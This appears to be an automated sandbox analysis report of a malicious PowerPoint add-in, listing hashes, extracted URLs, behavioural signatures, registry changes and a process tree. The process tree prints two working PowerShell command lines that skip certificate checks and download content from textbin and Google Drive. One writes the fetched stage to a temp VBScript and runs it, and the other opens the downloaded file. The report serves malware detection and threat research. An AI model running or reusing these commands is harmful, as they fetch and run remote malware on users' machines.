Analysis
-
max time kernel
61s -
max time network
17s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
26-11-2024 16:00
Static task
static1
Behavioral task
behavioral1
Sample
16ed82c39631c064df6e4790a55f9c766ba6747307c864eed489204dac021497.ppam
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
16ed82c39631c064df6e4790a55f9c766ba6747307c864eed489204dac021497.ppam
Resource
win10v2004-20241007-en
General
-
Target
16ed82c39631c064df6e4790a55f9c766ba6747307c864eed489204dac021497.ppam
-
Size
7KB
-
MD5
51b6a6b674b708af7d355f5b855f1f28
-
SHA1
427f1a1ffb6235dbc91a8bb2ab7e0e89f1d669b5
-
SHA256
16ed82c39631c064df6e4790a55f9c766ba6747307c864eed489204dac021497
-
SHA512
dd5d7fc3940d8e1a783373b10a8595a364becfe7650a6f3f32e6b871dca1ee5623db6cb8d4b9b871c0a6ec1b47176860574af6333ccf1fdcf769041feea871af
-
SSDEEP
192:xrXP/3GViyiM8+5byn/nKM5TYgcnHyvakYSq3YD:dXPuE+ann5TRs/Z3K
Malware Config
Extracted
https://drive.google.com/uc?export=download&id=15ocCLsR2ZmidPwSBKFMdpMbEhO5YtYQ4
Extracted
https://pt.textbin.net/download/itm1dkgz7c
Signatures
-
Blocklisted process makes network request 4 IoCs
flow pid Process 7 2688 powershell.exe 8 2728 powershell.exe 10 2728 powershell.exe 11 2688 powershell.exe -
pid Process 2688 powershell.exe 2728 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 5 drive.google.com 7 drive.google.com -
System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language POWERPNT.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wscript.exe -
Modifies registry class 64 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E4-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E7-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6C-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A71-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493493-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6A-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6D-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A55-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "Chart" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A67-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A7B-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493451-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A64-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A7C-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E551-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CE-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E4-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EA-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F3-5A91-11CF-8700-00AA0060263B}\ = "CustomLayout" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F5-5A91-11CF-8700-00AA0060263B}\ = "TableStyle" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5A-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "ChartData" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347C-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493495-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CB-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DE-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DF-5A91-11CF-8700-00AA0060263B}\ = "Effect" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A53-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493459-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347E-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349D-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A67-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E553-4FF5-48F4-8215-5505F990966F}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E555-4FF5-48F4-8215-5505F990966F}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E559-4FF5-48F4-8215-5505F990966F} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E559-4FF5-48F4-8215-5505F990966F}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345C-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346A-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493478-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DC-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F0-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F6-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A52-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C0-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CA-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5F-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493472-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F7-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A53-F07E-4CA4-AF6F-BEF486AA4E6F} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934B9-5A91-11CF-8700-00AA0060263B}\ = "Tags" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C7-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D5-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F9-5A91-11CF-8700-00AA0060263B}\ = "TextFrame2" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493451-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493460-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346F-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347A-5A91-11CF-8700-00AA0060263B}\ = "ShapeRange" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EA-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A53-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "Axis" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E550-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493442-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493454-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493480-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D4-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DD-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E550-4FF5-48F4-8215-5505F990966F} POWERPNT.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1936 POWERPNT.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2728 powershell.exe 2688 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2728 powershell.exe Token: SeDebugPrivilege 2688 powershell.exe -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 1936 wrote to memory of 2184 1936 POWERPNT.EXE 29 PID 1936 wrote to memory of 2184 1936 POWERPNT.EXE 29 PID 1936 wrote to memory of 2184 1936 POWERPNT.EXE 29 PID 1936 wrote to memory of 2184 1936 POWERPNT.EXE 29 PID 1936 wrote to memory of 2728 1936 POWERPNT.EXE 30 PID 1936 wrote to memory of 2728 1936 POWERPNT.EXE 30 PID 1936 wrote to memory of 2728 1936 POWERPNT.EXE 30 PID 1936 wrote to memory of 2728 1936 POWERPNT.EXE 30 PID 1936 wrote to memory of 2688 1936 POWERPNT.EXE 31 PID 1936 wrote to memory of 2688 1936 POWERPNT.EXE 31 PID 1936 wrote to memory of 2688 1936 POWERPNT.EXE 31 PID 1936 wrote to memory of 2688 1936 POWERPNT.EXE 31 PID 2728 wrote to memory of 2408 2728 powershell.exe 35 PID 2728 wrote to memory of 2408 2728 powershell.exe 35 PID 2728 wrote to memory of 2408 2728 powershell.exe 35 PID 2728 wrote to memory of 2408 2728 powershell.exe 35
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\16ed82c39631c064df6e4790a55f9c766ba6747307c864eed489204dac021497.ppam"1⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
PID:1936 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:2184
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command $UmniN;[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;$uNTnd = (New-Object Net.WebClient) ;$uNTnd.Encoding = [System.Text.Encoding]::UTF8 ;$UmniN = $uNTnd.DownloadString( 'https://pt.textbin.net/download/itm1dkgz7c' ) ;$uNTnd = $uNTnd.DownloadString( $UmniN ) ;$x = [System.IO.Path]::GetTempPath() ;Set-Location $x ;$uNTnd | Out-File -FilePath x.vbs -force ;wscript.exe x.vbs ; exit2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2728 -
C:\Windows\SysWOW64\wscript.exe"C:\Windows\system32\wscript.exe" x.vbs3⤵
- System Location Discovery: System Language Discovery
PID:2408
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;$uNTnd = (New-Object Net.WebClient) ;$uNTnd.Encoding = [System.Text.Encoding]::UTF8 ;$uNTnd.DownloadFile( 'https://drive.google.com/uc?export=download&id=15ocCLsR2ZmidPwSBKFMdpMbEhO5YtYQ4', [System.IO.Path]::GetTempPath() + 'x.pptx' ) ;$x = [System.IO.Path]::GetTempPath() ;Set-Location $x ;start x.pptx ; exit2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2688
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
796B
MD5b75621ae1faee608b4ed39e971d709a5
SHA1bcd528eb22d2e7b1d11c9b603df87cec37d23da5
SHA25654ce5e89f7c67db8cef4954d8f041857474882dc6af675b4120833bb8832a3a5
SHA5125ef0841caeae364fee32cdd561c7473c45244009ae6dc73f38eefffdb1e95f7cb6f0531ef5d273ca7dd28f408c40a93a3de3c619dab41a0953ab731167ec0e66
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\21A56D1RTEBT417LRS9K.temp
Filesize7KB
MD55f91436e32a1577e0351d7d389ffa4f6
SHA1f2c81ffac236179fb998de44a65e5684534cbe2e
SHA2560a138a85fad9c2b0d744a8f8a997b67da55fc6e702d80974710fc5520fb27ee1
SHA5126cea8890a421c583a271d4da7c7c279898f3be9f6c58df61aa3aa5508c1274b08e8ddba8cb3c0b3ed6b077f45182987cc0ce841039c488760e237168097e69e8